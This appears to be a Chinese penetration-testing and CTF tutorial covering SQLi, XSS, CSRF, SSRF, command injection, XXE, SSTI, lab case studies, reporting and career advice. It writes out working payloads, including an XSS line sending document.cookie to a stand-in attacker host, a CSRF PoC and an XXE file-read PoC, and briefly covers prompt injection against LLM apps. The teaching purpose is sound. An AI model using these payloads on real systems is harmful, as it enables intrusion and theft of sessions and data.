使用密码哈希(而非明文)直接进行认证的横向移动技术(Windows NTLM)。防御:禁用 NTLM、启用 Credential Guard、本地管理员密码随机化(LAPS)。
利用 DNS 解析的时间差(第一次解析外网,第二次解析内网 IP)绕过 SSRF 的 IP 限制。修复:服务端解析后二次校验 IP。
攻击者在客户端与服务器之间截获/篡改加密流量。成功条件:客户端信任了攻击者的证书(装 CA、握手异常)。防御:证书校验、HSTS、证书固定。
把代码/数据用编码/加密/控制流变换隐藏真实意图:Base64、十六进制、异或、花指令、控制流平坦化、虚拟机壳。逆向第一步:识别混淆类型再对症。
移除加壳程序的外层(壳)还原真实代码的过程。工具:UPX -d(UPX 壳)、手动 OEP(入口点)、内存 dump + 修复导入表。先 DIE 识别壳类型。
静态:不运行程序,看文件/反汇编/源码(file、strings、IDA、Ghidra);动态:运行程序观察行为(调试器、抓包、沙箱)。顺序:先静态后动态;动态小心反调试。
隔离的受控运行环境(虚拟机/容器/专用沙箱),用于安全地运行/分析可疑程序,防止宿主受损。分析恶意样本必须用隔离沙箱 + 快照 + 不连真实网络。
渗透测试的最终交付物。结构:执行摘要(管理层)→ 范围与方法 → 发现清单(按严重度,每条含影响/证据/复现/修复)→ 建议(分层计划)→ 附录。高质量报告 = 可决策 + 可复现。
Tactics(战术)、Techniques(技术)、Procedures(程序)——描述攻击者行为的框架。MITRE ATT&CK 即 TTP 知识库。蓝队根据 TTP 设计检测;红队根据 TTP 规划路径。
YARA:基于字符串/字节模式的文件检测规则(恶意样本识别);Sigma:通用的日志检测规则(SIEM 查询翻译层)。蓝队日常写这两种规则。
Indicator of Compromise 失陷指标:可用于确认被入侵的证据(恶意 IP/域名、文件 hash、行为特征)。威胁情报交换的核心单位。应急响应先收集 IOC。
Advanced Persistent Threat 高级持续性威胁:有组织、有资源、长期潜伏的攻击者群体。特征:隐蔽性高、定向明确、持久化。应对:纵深防御 + 威胁狩猎 + 红队演练。
Lockheed Martin 的杀伤链:侦察→武器化→投递→利用→安装→命令与控制→行动。蓝队在每个环节布防(如邮件网关拦投递、EDR 拦执行)。
Operations Security 行动安全:红队行动中隐藏自己踪迹的措施(改 UA、限速、代理链、清理日志)。蓝队反过来识别 OPSEC 失误造成的痕迹。
多级代理串联隐藏攻击来源(A→B→C)。检测:多跳延迟、流量特征、DNS 泄漏。合规前提下,渗透测试常用代理链控制来源与出口。
利用协议/系统正常机制隐藏数据传递(DNS 隧道、ICMP 隧道、时间隐写)。检测:异常 DNS 查询、包长度/频率规律。
云对象存储(AWS S3/阿里云 OSS)。常见漏洞:公有读/写策略配置错误、未授权列出、ACL 混乱。测试:访问桶列表,记录可读对象,不下载/不删除。
针对云的攻击面:账户/Key 泄露、IAM 权限过度、存储桶策略、元数据服务、供应链、容器逃逸。云安全 = 身份边界(IAM)是核心资产。
从容器逃逸到宿主机的漏洞/技术(CVE-2019-5736、挂载泄露、capability 滥用)。防御:非 root 运行、只读文件系统、限制 capabilities、及时补丁。
K8s 集群常见攻击面:kubelet 未授权、dashboard 弱口令、RBAC 过度、helm 供应链、etcd 未加密、serviceaccount token 泄露。
攻击上游依赖/工具链/厂商从而影响下游:npm/pip 包投毒、构建系统被攻陷、固件后门、信任更新通道。2024 SolarWinds 是典型。防御:依赖锁文件 + 镜像校验 + 最小依赖 + SBOM。
蓝队模拟勒索攻击流程(加密条件、检测点、响应步骤)检验组织就绪度。演练后的产出:检测规则、响应脚本、通信流程、备份验证。
标题:漏洞类型+影响(如 [高危] IDOR 可读任意订单)。正文:概述→影响→复现步骤→证据(截图/请求)→修复建议→参考。遵守平台模板,标题即结论。
按影响与可利用性评级:严重(RCE/全量数据泄露/管理员接管)、高危(大范围越权/核心数据泄露)、中危(受限越权/敏感信息)、低危(信息泄露/配置项)。评级时写清依据。
任何“边界”都是攻击点:输入长度边界、金额边界、次数边界、权限边界、时间边界。测试时始终问:如果我超了边界/负数/空值/重复/并发会怎样?这正是“反惊讶”模型的落地。
分析漏洞时最重要的背景信息:技术栈、部署方式、用户角色、数据敏感性、防护措施。同一种漏洞在不同上下文里危害天差地别——报告必须写清上下文。
每一类都按同一模板展开:一句话原理 → 场景 → 发现步骤 → 最小利用 → 绕过 → 修复 → 案例 → 坑。这是你把“看懂”变成“会做”的核心章节。
一句话原理:用户输入被当作 SQL 代码拼接执行。
场景:任何接受参数并查数据库的地方:登录、搜索、排序、分类、导出。
手工发现步骤(靶场练习)
GET /products?id=1?id=1' → 若报 SQL 语法错误,说明输入进了 SQL。?id=1' OR '1'='1 → 若返回更多数据,说明可破坏 WHERE 逻辑。?id=1' ORDER BY 3-- - 逐层加数字,直到报错(得到列数)。?id=-1' UNION SELECT 1,2,3-- - → 找到回显位。UNION SELECT user(), database(), version()-- -。绕过技巧(仅在授权/靶场):注释符变体(--+、#、/**/)、大小写、二次编码、内联注释、宽字节(GBK)、堆叠查询(;)。
修复:预编译参数化(首选);严格白名单校验(如 id 必须数字);数据库最小权限;关闭报错回显。
案例:某商城搜索框未参数化,攻击者用 ' UNION SELECT username,password FROM users-- - 拖走用户表。
一句话原理:用户输入未过滤地被渲染为 HTML/JS,导致恶意脚本在受害者浏览器执行。
三种类型:反射型(即时回显不存储);存储型(存入数据库,所有人中招);DOM 型(纯前端 DOM 操作导致)。
发现步骤:① 找输入回显点(搜索框、留言、昵称、URL 参数)→ ② 输入特殊字符 <>"'& 观察是否原样输出 → ③ 输入 <script>alert(1)</script> 看是否执行 → ④ 用浏览器的“查看源代码”确认插入位置(属性里?标签间?JS 里?)→ ⑤ 根据位置写完全不同 payload。
各位置 payload 示例:
<img src=x onerror=alert(1)>(标签属性)、
"><script>alert(1)</script>(属性逃逸)、
' onmouseover='alert(1)(事件属性)、
javascript:alert(1)(href 注入)
利用(仅自有环境):窃取 Cookie(fetch("http://attacker/?c="+document.cookie))、钓鱼弹窗、键盘记录、CSRF 组合拳。
修复:输出编码(HTML 实体转义)配合 CSP;存储前白名单;HttpOnly+Secure Cookie。
<script>alert(1)</script>,一被过滤就放弃——要按“上下文”找绕过(属性、事件、javascript:、编码)。一句话原理:受害者在已登录状态下,被恶意页面诱导发出“合法”请求,伪造其身份操作。
发现步骤:① 找到状态变更请求(改密、转账、删帖、下单)→ ② 查看请求是否带 CSRF Token → ③ 无 Token 且 Cookie 自动携带 → 嫌疑成立 → ④ 构造一个外部页面试图触发(仅自有/授权环境)。
最小 PoC:
<html><body><form action="http://target/change_password" method="POST"><input name="newpass" value="hacked"></form><script>document.forms[0].submit()</script></body></html>
修复:CSRF Token(服务器校验);SameSite=Cookie(Lax/Strict);关键操作二次验证(密码/验证码);Referer/Origin 校验。
一句话原理:后端校验了“是否登录”,却没校验“数据是否属于当前用户”。
发现步骤:① 用两个账号 A/B 各创建资源 → ② A 拿自己的资源 URL(/api/user/5)→ ③ 改为 /api/user/6(B 的资源),A 的会话请求 → ④ 若能读/改 → IDOR。
变体:文件读取(/download/123)、上传覆盖(用他人 ID 覆盖文件)、批量导出(拿整个列表)。
修复:服务端以会话身份为准(user_id 不来自前端);UUID 替代自增 ID(增加枚举难度,但仍需归属校验);处理好对象级授权(OWASP 强调的 BOLA)。
一句话原理:服务端把用户可控的 URL 拿去请求,导致攻击者可访问内网/云元数据。
发现步骤:① 找“URL 输入点”(图片 URL、文档导入、Webhook、PDF 生成、favicon 抓取)→ ② 输入 http://127.0.0.1 或 http://169.254.169.254/latest/meta-data/(云元数据,自有环境)→ ③ 观察响应是否反映内网内容/报错细节。
绕过:重定向(http://attacker → 内网)、DNS rebinding、IP 缩写/十六进制、URL parser 差异。
利用(授权内):读内网管理接口、云元数据(AK/SK)、扫描内网存活(时间差)。
修复:服务端 URL 白名单/允许列表;禁用重定向;禁用回环与私网段;代理层出口控制;DNS 解析后二次校验 IP。
一句话原理:用户输入拼进系统命令(如 ping、whois、文件名、解压参数)。
发现步骤:① 找“命令执行型”功能(ping 工具、whois、下载、日志导出)→ ② 输入命令分隔符测试:; ?? && ?? | ?? `cmd` ?? $(cmd) → ③ 观察回显。
最小 PoC:127.0.0.1; whoami → 若返回当前用户,确认注入。
修复:避免系统命令;必须用时用参数化 exec(如 Python subprocess 传参列表,禁用 shell=True);白名单校验。
一句话原理:上传文件的类型、内容、存储位置校验不严,导致恶意文件被存储/执行。
发现步骤:① 找上传点(头像、附件、导入)→ ② 上传合法文件观察存储路径 → ③ 尝试上传 .php/.jsp/.asp/.svg/.html 看是否被拦截 → ④ 若可上传 html -> 存 XSS;可上传 php 且被解析 -> RCE。
绕过:双扩展名(.php.jpg)、大小写、空格/换行/点结尾、Content-Type 伪造、图片马(文件头伪造 + 包含),上传后结合解析漏洞。
修复:扩展名白名单 + 真实内容检测(magic bytes)+ 重命名随机存储 + 存储目录禁止脚本执行 + CDN/对象存储隔离。
一句话原理:将不可信数据反序列化为对象时,可触发任意方法(如 PHP __destruct、Java readObject、Python pickle)。
发现步骤:① 找序列化数据形态:Base64 的 PHP 序列化、Java 序列化头(ac ed 00 05)、Cookies/session 中的对象 → ② 识别语言与库版本 → ③ 用对应 gadget 链(ysoserial、phpggc)生成 payload(仅授权环境)。
修复:不接受不可信序列化数据;做签名/加密;白名单类;升级依赖(很多是库自身漏洞)。
一句话原理:用户输入被当作模板引擎语法执行(如 Jinja2、Twig、Freemarker)。
发现步骤:① 找“模板回显点”(报错页、邮件模板、markdown 渲染、页面模板块)→ ② 输入 {{7*7}} → ③ 若输出 49 → 存在 → ④ 识别引擎,用对应 payload 探测对象链。
修复:模板沙箱/白名单;用户内容与模板代码分离;升级引擎版本。
{{''.__class__}}、Twig 的 {{_self}});先识别引擎再操作。一句话原理:XML 解析器允许外部实体引用,读取本地文件/内网。
发现步骤:① 找 XML 输入(SOAP、DOCX/XLSX 解析、API 的 XML body)→ ② 构造带 DOCTYPE 的 payload 读 /etc/passwd(自有环境)→ ③ 观察响应。
最小 PoC:
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
修复:禁用外部实体(XXE)/禁用 DTD;用安全解析库(如 Python defusedxml);升级 XML 组件。
一句话原理:登录/会话管理的哪一环可绕过:弱口令、用户枚举、会话固定、cookie 可预测、JWT 弱密钥、密码重置逻辑。
发现步骤:① 注册/找回流程审计(步骤可跳过?验证码可爆破?)→ ② 会话 token 可预测/固定?→ ③ 登出后 token 仍有效?→ ④ JWT 密钥弱?alg 可换?
修复:登录限流 + 2FA;会话 ID 高强度随机 + 服务端存储;HttpOnly/Secure/SameSite;密码重置走带时效的短链;JWT 用强密钥固定算法。
一句话原理:程序逻辑“符合设计但设计有缺陷”:优惠可叠加、退款可重复、限额被并发绕过、状态机可回退。
发现步骤:① 完整走一遍业务流程并画状态图 → ② 在每个“状态转移”问:可否回退/重复/跳过/改顺序?→ ③ 用多账号/并发测试边界(如同时提交两次退款)→ ④ 检查数量/金额/次数是否可为负数/0/超长。
修复:状态机约束 + 服务端幂等令牌 + 唯一性约束(数据库级别)+ 审计日志;金额类型用定点数而非浮点。
| 漏洞 | 触发点 | 最简验证 | 第一修复 |
|---|---|---|---|
| SQLi | 查询参数 | 单引号+恒真 | 预编译 |
| XSS | 回显点 | alert(1) | 输出编码+CSP |
| CSRF | 状态变更无Token | 外部表单触发 | Token+SameSite |
| IDOR | 对象ID可枚举 | 改ID看他人数据 | 服务端归属校验 |
| SSRF | URL输入 | 请求127.0.0.1 | URL白名单 |
| 命令注入 | 命令拼接 | x; id | 参数化执行 |
| 文件上传 | 上传点 | 传.php看解析 | 白名单+重命名 |
| 反序列化 | 序列化数据 | 识别头字节 | 不信任反序列化 |
| SSTI | 模板回显 | {{7*7}} | 模板隔离 |
| XXE | XML输入 | file:///etc/passwd | 禁用DTD |
| 认证会话 | 登录/找回/会话 | 会话固定/可预测 | 2FA+强会话 |
| 逻辑漏洞 | 业务流程 | 状态回退/重复 | 状态机+幂等 |
案例全部来自常见靶场/教学场景(DVWA、Juice Shop、HTB、CTF 风格),把思维模型、IMEVA、漏洞库串起来。每个案例都按:场景 → 观察 → 假设 → 验证 → 利用/修复 → 复盘 展开。
场景:DVWA Security level Low,SQL Injection 页。
观察:输入 1,回显 User ID: 1,第一行 admin admin;URL 是 ?id=1。
假设:id 参数拼进 SQL,且返回结果回显。
验证:?id=1' → 报错;?id=1'' → 正常;?id=1' OR '1'='1 → 多行返回。假设成立。
利用/评估:用 UNION 枚举列数与回显位:?id=-1' UNION SELECT 1,2-- - → 回显 1 和 2;再 UNION SELECT user(),database()-- - 得到数据库账号与库名。影响:读任意数据。
复盘:第一次跑完整链,认识到“报错就是信号,回显就是利用出口”。
场景:Juice Shop 商城,商品价格显示在前端。
观察:加购物车时请求体里有 price 字段。
假设:服务器信任前端提交的价格。
验证:Burp 拦截下单请求,把 price 改成 0.01,提交。
利用/评估:订单总价按 0.01 计算 → 成功。影响:任意改价。
复盘:“信任前端数据”是业务逻辑漏洞的典型;修复=服务端按目录价计算。
场景:一个搜索页把关键词回显在页面。
观察:搜索 <b>test</b>,页面出现粗体 test —— 未过滤 HTML。
假设:存在反射型 XSS。
验证:<script>alert(1)</script> 在浏览器弹窗。
利用/评估:构造带 document.cookie 的链接诱导点击 → 窃取会话(自有环境演示)。
复盘:反射型 XSS 重在“谁能诱导谁点击”;报告要说明触发条件。
场景:授权测试应用,有 /profile/:id。
观察:登录 A,/profile/101 返回 A;把 101 改 102。
假设:服务端没校验归属。
验证:/profile/102 返回另一个用户的资料。
利用/评估:影响:任意用户资料泄露。写报告并建议服务端归属校验。
场景:一个“通过 URL 下载图片”的功能。
观察:提交 http://127.0.0.1:80 返回了本机 HTTP 服务内容 —— 服务端替我们发请求。
验证:在自有云账号上尝试 http://169.254.169.254/latest/meta-data/ 读取元数据。
利用/评估:若可读到临时凭证 → SSRF 高危。修复:URL 白名单+禁止私网段。
复盘:SSRF 是“服务器当你的跳板”,对比 IDOR 的“信任对象”,SSRF 是“信任 URL”。
场景:网管页面的 ping 工具。
观察:输入 127.0.0.1 回显 ping 结果。
验证:输入 127.0.0.1; whoami 回显当前用户。
利用/评估:影响:RCE。修复:参数化执行,禁 shell。
复盘:命令注入常出现在“运维工具”页;测试时只做信息级验证。
场景:一个 Java Web 应用,Cookie 是 Base64 的 Java 序列化对象(开头 ac ed 00 05)。
观察:网上查该框架版本有已知反序列化 gadget。
验证(自有靶场复现环境):用 ysoserial 生成 payload,作为 Cookie 发送。
利用/评估:RCE 效果。修复:不接受不可信对象、升级库、加白名单类过滤器。
复盘:反序列化是“看起来人畜无害的对象数据”,实际是远程代码的门缝。
场景:一个用 Flask 的页面,用户名回显并渲染模板。
观察:输入 {{7*7}} 输出 49。
假设:Jinja2 SSTI。
验证:{{config}} 回显配置对象;{{''.__class__.__mro__}} 探测对象链(自有环境)。
利用/评估:可读文件/注入代码。修复:模板隔离、白名单。
场景:官网首页出现加密货币挖矿提示。
观察:修改时间最近的一批文件里有 eval(base64_decode(...)) 的 PHP。日志里一个 IP 在两天前大量 POST 到 /upload。
假设:通过文件上传漏洞上传 webshell,再改首页。
验证:回溯日志确认上传文件被访问;对比备份确认被改文件。
处置:隔离机器→清除 shell→改密码→打补丁→恢复备份→监控。输出时间线报告。
复盘:应急响应的核心是“时间线 + 入口还原”,比“立刻删文件”重要。
场景:商城下单可获积分,积分可换券。
观察:注册送 500 积分;下单满 100 送 100 积分;券可抵扣 90%。
假设:用券买的订单也算“满 100 积分”,形成闭环套利。
验证:注册新号 → 领券 → 下 100 元单(实付 10)→ 得 100 积分 → 再换券 → 循环。
利用/评估:无限套利。修复:券支付不返积分 / 每号限一次 / 状态机约束。
复盘:画“数据闭环”就能发现;逻辑漏洞不是代码 bug,是“业务设计缺陷”。
CTF(Capture The Flag)是黑客思维最好的训练场:它把真实漏洞做成有明确目标的谜题,用分数和 flag 给你即时反馈。本章按题型拆解:每种题型的原理、工具、解题流程、常见坑、以及进阶策略——全部可用免费靶场实操。
入门平台:picoCTF(最友好)、CTFtime(找比赛)、pwn.college(系统化)、VulnHub(真实靶机)。
特征:给出源码或提示“看源码”。解法:找到入口(路由)→ 跟数据流 → 找漏洞(SQLi/XSS/SSTI/反序列化)→ 构造 payload → 拿 flag。
练习:picoCTF 的 Web Gauntlet(SQLi 系列)、DVWA 源码审计模式。
特征:用户输入在页面模板里回显。解法:试 {{7*7}} → 识别引擎(Jinja2/Twig)→ 用引擎 payload 探测对象链 → 读文件/执行命令({{config}}、{{''.__class__.__mro__[1].__subclasses__()}})。
特征:Cookie 或参数是序列化数据。解法:识别语言(PHP/Java/Python)→ 用对应 gadget(phpggc/ysoserial)→ 生成 payload → 提交。注意 Python pickle 可以直接构造 __reduce__。
特征:执行 ping/解压/下载等功能。解法:分隔符(; ?& ?| ?` ?$())→ 回显验证 → 找 flag 文件或反弹 shell(本地靶机)。
特征:业务闭环有洞(改价/优惠/找回密码)。解法:画流程 → 找状态转移漏洞(顺序/重复/回退)→ 用 Burp 改包验证。
流程:file 识别 → strings 看提示 → Ghidra/IDA 打开 → 找到 main → 读伪代码 → 找到校验逻辑 → 写脚本 reverse(z3/爆破/直接算法)→ 得到 flag。
练习:picoCTF reverse 系列(如 transform、vault-door)。
特征:经典加密被改参数/改流程。解法:识别原始算法(对比特征/常量)→ 找出改动点 → 写逆向脚本。
特征:程序被 UPX/Themida/自定义 VM 保护。解法:识别壳(DIE)→ 脱壳(upx -d / 手动 OEP)→ 再静态分析;遇到 VM 保护改用动态调试(x64dbg)观察寄存器变化。
任何逆向题都有一条“输入-处理-输出”链:你的目标是让“输出”变成 flag。常见做法:找到处理函数 → 理清算法 → 把算法反过来写。用 z3(SMT 求解器)可以让“我不知道怎么反推”变成“让求解器找输入”。
检查防护:checksec 看 NX/CANARY/PIE/RELRO → 决定利用方式。经典:ret2win(覆盖返回地址)、ret2libc(泄露 libc → ROP 调 system)、ret2csu(x64 通用 gadget)。
工具:pwntools + GDB/pwndbg + ROPgadget + one_gadget。
基础:理解 tcache/fastbin/unsorted bin → double-free、UAF(use-after-free)、house 系列 → 改 free hook → 拿 shell。
特征:内核模块漏洞。常用:泄露内核基址 → ROP 提升权限(commit_creds)→ 拿 root。用 qemu-system + GDB 调试。
凯撒/维吉尼亚/栅栏/培根/摩斯等。识别:字符集与规律(字母/二元/字符频率)。工具:CyberChef、dcode.fr、凭手工尝试。
常见变体:小素数分解(n 可分解)、共享素数(两个 n 有公因数)、低指数(e=3 小消息)、Wiener 攻击(d 很小)、Coppersmith(部分已知明文)。识别:看给了什么(n/e/c/p/q/d 的哪些缺失)。
ECB 模式可重组块(cut-and-paste)、CBC 字节翻转、padding oracle。解题:识别模式(点一下看密文分组)→ 按攻击写脚本。
长度扩展攻击(MD5/SHA1)、签名实现漏洞(忽略类型混淆)。
图片/音频/视频/压缩包里藏 flag。工具顺序:binwalk(分离)→ strings(找明文)→ 查看文件属性(EXIF)→ 尝试常见隐写(LSB/zsteg/steghide)→ 看文件尾部/更改后缀→看图(可能用 OpenStego/像素对比)。
Wireshark 打开 → 协议分布 → http.request 过滤 → Follow TCP Stream → 找可疑数据(base64/blob/上传文件)→ 导出对象分析。有时密码在 DNS 查询里(dnscat2 隧道)。
内存镜像用 Volatility(pslist/processes/files)→ 找恶意进程/凭证/flag;磁盘镜像用 7z/ autopsy 挂载查看删除文件。
逆向工程(Reverse Engineering)是“从产物反推设计”的学科:程序、固件、协议、加密逻辑都能逆。本章给出一套可复用的全流程:前置准备 → 静态立体分析 → 动态验证 → 还原与报告,每一步都是可操作清单。
| 工具 | 用途 | 场景 |
|---|---|---|
| file / strings / hexdump | 识别类型、提取字符串、看十六进制 | 第一眼 |
| DIE / Exeinfo PE | 识别编译器/语言/壳 | 类型判断 |
| binwalk | 固件/嵌套文件分离 | 固件/存档 |
| IDA Pro / Ghidra | 反汇编 + 伪代码 + 交叉引用 | 深度静态 |
| x64dbg / gdb / lldb | 动态调试 | 运行时观察 |
| Frida | 运行时 hook | Android/iOS/进程 |
| CyberChef | 编解码/哈希/加密 | 数据转换 |
| Python + z3 / pwntools | 脚本化 / 约束求解 / 交互 | 算法还原 |
环境要求:Windows 分析主机 + Linux/WSL 脚本环境 + 虚拟机(隔离可疑样本)+ 快照。
file target:类型(PE/ELF/Mach-O/固件/文档?32 位还是 64 位?)strings target | head -50:看字符串(URL、路径、提示、硬编码密钥)DIE:识别编译器/语言/加壳(UPX? Themida? .NET? Go? Rust?)binwalk target:若是固件/嵌套文件,先分离。产出:类型结论 + 可疑字符串清单 + 壳/语言结论。这一步能筛掉 30% 的“已存在已知答案”的样本。
产出:main/关键函数地址 + 关键字符串位置 + 导入表画像。
s.add(transform(input)==target),让求解器找 input。示例(伪代码还原):假设 Ghidra 显示:for i in range(len(key)): out[i] = key[i] ^ 0x5A → 那“逆”就是 key[i] = out[i] ^ 0x5A(异或自逆)。这是最常见的还原模式。
binwalk -e firmware.bin 分离 → 找到文件系统(squashfs)→ 用 unsquashfs 解出 → 找启动脚本/配置文件 → 搜硬编码密钥/账号 → 分析重点二进制(web 服务/网络服务)。逆向的价值度量不是“逆出多少”,而是“还原了多少可验证的真相”。每一处都要有输入-输出证据,而不是“感觉”。
人也是系统:有输入(语言/图片/权威)、处理(信任判断)、输出(行动)。社工(Social Engineering)研究的就是“人机接口”的漏洞。本章讲清人的信任如何被建立/利用,以及如何反向防御——这些可直接用于防骗与沟通。
基于 Cialdini《影响力》的六大原则,这也是社工的“漏洞利用清单”:
| 武器 | 原理 | 攻击示例 | 防御反射 |
|---|---|---|---|
| 互惠 Reciprocity | 收到小惠后感到亏欠 | “送你 3 天会员,点链接领取” | “免费”= 你要付出什么? |
| 承诺一致 Commitment | 人倾向言行一致 | “你之前同意过调查,现在补完第 2 步就行” | 我只承诺过什么? |
| 社会认同 Social Proof | 大众都这么做就安全 | “已有 10 万人参与这个平台” | 人数不代表可信 |
| 权威 Authority | 相信身份/头衔 | “我是客服/警察/银行经理” | 身份怎么验证? |
| 稀缺 Scarcity | 失去感促使行动 | “优惠 10 分钟后结束” | 紧急 = 逼你跳过验证 |
| 好感 Liking | 喜欢的人更难拒绝 | “和你一样喜欢猫,帮忙点个链接” | 共同点 ≠ 可靠 |
核心洞见:攻击者会在“你的账户/你的钱/你的数据”和“你的本能反应”之间制造时间缓冲器——一切“快速行动”都是攻击信号。
防御模板(对应每一步):① 让自己的数字足迹更少(隐私设置)→ ② 对陌生接触设定默认怀疑(不确认就拒绝)→ ③ 验证身份(独立通道回拨官方号码)→ ④ 紧急请求一律先暂停 30 秒 → ⑤ 敏感信息绝不通过对方给的链路提交。
命中 ≥2 条 → 先停止行动,用独立通道核实。
防御:承认自己有偏误 + 强制“二次确认”习惯(离开当前通道验证)。防骗不是聪明与否,是节奏问题——骗子赢在让你别停下来。
同样了解人性,你可以用于共情与协作:
分界线:善意沟通是“信息透明 + 尊重对方选择”;社工攻击是“信息操纵 + 剥夺选择”。用同样的心理学知识做前者。
报告是渗透测试的最终交付物,也是漏洞赏金的“货币”。本章给出现成的模板:执行摘要、发现详情、复现步骤、修复建议、附录——复制粘贴改数据即用。
【执行摘要】 目标:xxx.com(授权范围见附件A) 周期:2025-01-01 至 2025-01-03 总体风险:高 发现统计:严重 0 / 高危 2 / 中危 5 / 低危 6 / 信息 3 关键发现: 1. [高危] /api/order/:id 存在水平越权,任意登录用户可读取他人订单(PII) 2. [高危] 后台管理系统存在默认口令 admin/admin 3. [中危] 反射型 XSS 位于 /search?q=(低利用门槛) 建议优先级: - 立即(1周内):修复两条高危,轮换默认口令,下线测试域名 - 短期(1月内):全站参数化查询改造、补充访问控制中间件 - 长期(1季度):上线 WAF、开启审计日志与告警
【发现 #1】[高危] IDOR:任意读取用户订单(CWE-639 / 水平越权) 影响:任意登录用户可读取其他用户的订单,含收货人姓名、手机号、详细地址 CVSS:8.1(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) 复现步骤: 1. 使用测试账号 A(普通用户)登录,获取会话 Cookie 2. 请求 GET /api/order/1001(A 自己的订单)→ 200,返回订单详情 3. 替换为 GET /api/order/1002(B 的订单,B 是另一个普通用户) 4. 响应 200 并返回 B 的订单详情(附截图/请求-响应) 证据: - 原始请求(含 Cookie):见附录B - 响应片段:见附录C - 时间:2025-01-02 15:30(服务器时间) 修复建议: 1. 后端以会话身份(session/user_id)关联查询,忽略前端传入的订单 id 归属 2. 数据库层面增加 WHERE user_id = ? 约束 3. 订单 id 改为不可枚举的 UUID(仍需归属校验) 4. 增加访问控制中间件 + 审计日志 参考:OWASP A01(2021)访问控制失效 / CWE-639
| 等级 | 条件 | 例子 |
|---|---|---|
| 严重 Critical | 无需认证即可导致 RCE / 全量数据泄露 / 管理员接管 | 未授权反序列化 RCE |
| 高危 High | 需低权限但可造成大范围影响 | 任意登录用户可读全库 |
| 中危 Medium | 有限制的越权 / 受限 XSS / 敏感信息泄露 | 反射型 XSS、受限存储桶公开 |
| 低危 Low | 信息泄露 / 配置项弱化 / 低风险绕过 | 版本号泄露、缺少安全头 |
| 信息 Info | 不影响安全的观察 | 技术栈指纹、注释信息 |
【附录A】授权与范围 - 授权文件编号、日期、授权主体 - 范围内域名/IP/应用清单 - 排除项(禁止测试项) 【附录B】原始请求与响应 - curl 命令 / Burp 保存的请求-响应文件 - 请求体、Cookie、时间戳 【附录C】工具与命令日志 - 使用的工具版本、参数 - 关键命令输出(去敏) 【附录D】修复验证方法 - 修复后如何复测(给出具体命令/步骤)
| 维度 | 赏金平台 | 企业渗透项目 |
|---|---|---|
| 读者 | 厂商安全团队(技术) | 管理层+运维+开发(混合) |
| 风格 | 简短、结论前置、截图 | 结构完整、证据链、建议可落地 |
| 长度 | 几段话 + 复现 | 数十页 + 附录 |
| 重点 | 影响证明、可复现 | 风险排序、修复验收 |
| 语言 | 可中可英 | 按客户 |
共同要点:标题即结论、影响具体、可复现、可行动。
AI(大语言模型)作为新系统,同样适用“输入→处理→输出”和信任边界思维:模型相信提示词、相信上下文、相信"系统指令"。本章从黑客视角拆解 LLM 应用的安全风险、测试方法与防御,并解释如何用 AI 辅助做安全。
| 维度 | 传统 Web | LLM 应用 |
|---|---|---|
| 输入 | 表单/参数/文件 | 自然语言提示词(与数据混合) |
| 处理 | 确定逻辑 | 概率推理(无确定规则) |
| 信任边界 | 系统与用户输入 | 系统指令 vs 用户提示 vs 外部数据 vs 模型输出——四者互相混叠 |
| 输出 | 数据/页面 | 自然语言/代码/动作(可能被用户输入污染) |
| 漏洞类型 | 注入/越权/逻辑 | 提示注入/数据投毒/越权推理/输出误用 |
核心:信任边界从“代码-数据”变成“指令-数据”。攻击者用数据(用户输入)污染指令(系统行为)。
一句话原理:LLM 分不清“系统指令”和“用户数据”,攻击者把指令写进数据里。
发现/测试方法(自有环境/自建应用):
防御:输出过滤、权限最小化(LLM 不能直接改库/发钱)、把用户输入与指令分隔(结构化标记)、速率限制、人工审批关键操作、不信任模型输出直接执行。
纪律:AI 输出必须验证——它可能读错、编造、漏报。把 AI 当“研究生助手”,不当“最终权威”。
技术之外,职业化需要:作品、沟通、商业、心态。这一章给出一张“学习者→从业者”的成长地图,以及简历、面试、签约、避坑的实操清单。
| 阶段 | 特征 | 核心任务 | 时长 |
|---|---|---|---|
| 1 学习者 | 看教程、做靶场 | 打通最小闭环(DVWA SQLi 全流程) | 0-3 月 |
| 2 练习者 | 能独立解题/打靶 | 建立作品集(writeup/工具/CTF 排名) | 3-9 月 |
| 3 贡献者 | 参与 SRC/开源/比赛 | 形成个人品牌,接真实任务 | 9-24 月 |
| 4 专家 | 能带项目/培训/方案 | 体系化、商业化、带团队 | 2 年+ |
不要跳阶段:很多人卡在“练习者→贡献者”(一直练但不出作品)。作品的本质是“对外可见的成果”。
量化原则:简历上写“做过什么、影响多大、用什么方法”,不写“学过什么”。
| 路径 | 优点 | 缺点 | 适合 |
|---|---|---|---|
| 漏洞赏金(全职) | 自由、无固定 KPI、收入上限高 | 不稳定、收入波动大 | 技术强+自律 |
| 安全公司/甲方 | 稳定、系统训练、团队资源 | 按项目/值班、成长慢可能 | 希望稳定起步 |
| 自由职业/外包 | 灵活、收益直接 | 找单难、无保护 | 有经验+人脉 |
建议:多数人先“公司/赏金兼职”模式,再考虑全职自由。
前面章节讲"怎么想",这一章讲"怎么干"——把一次完整授权测试拆成七道工序:需求确认 → 侦察 → 枚举 → 漏洞判定 → 利用验证 → 权限提升/横向 → 收尾报告。每一道工序都给:目标、干法、命令骨架、判读口径、避坑清单。所有命令仅用于自有资产、本地靶场(DVWA/sqli-labs/Metasploitable/HTB 授权机器)或书面授权目标。
记录三样东西:做了什么(命令+时间)→ 发现了什么(原始输出摘要)→ 意味着什么(假设/下一步)。没有记录的测试等于没做——出问题你无法自证,有成果你无法复现。
mkdir ~/pentest/case01/{recon,enum,exploit,report},输出全部落盘。判读口径:授权 ≠ 无限;范围外资产哪怕同域名,一律不碰。
whois example.com、dig example.com any(注册信息、DNS、子域线索)。curl -s "https://crt.sh/?q=%25.example.com&output=json"。产出:资产清单初稿 + 子域候选 + 技术栈线索 + 人员/联系方式(社工防御意识,不用于攻击)。
nmap -sS -T4 -p- --min-rate 2000 target(先全端口,再细看开放端口)。nmap -sV -sC -p 80,443,22,3306 target(版本 + 默认脚本)。ffuf -w wordlist.txt -u http://target/FUZZ(找隐藏目录/文件)。ffuf -w subnames.txt -u http://target.com -H "Host: FUZZ.target.com"(或 amass/subfinder 被动先跑)。判读口径:端口多 ≠ 有价值;优先记录"疑似自建/老版本/管理后台/未授权访问"的服务。
下面是一台靶机(Metasploitable 2 示例)的部分扫描结果。点击按钮选择"哪个服务最值得先看"。
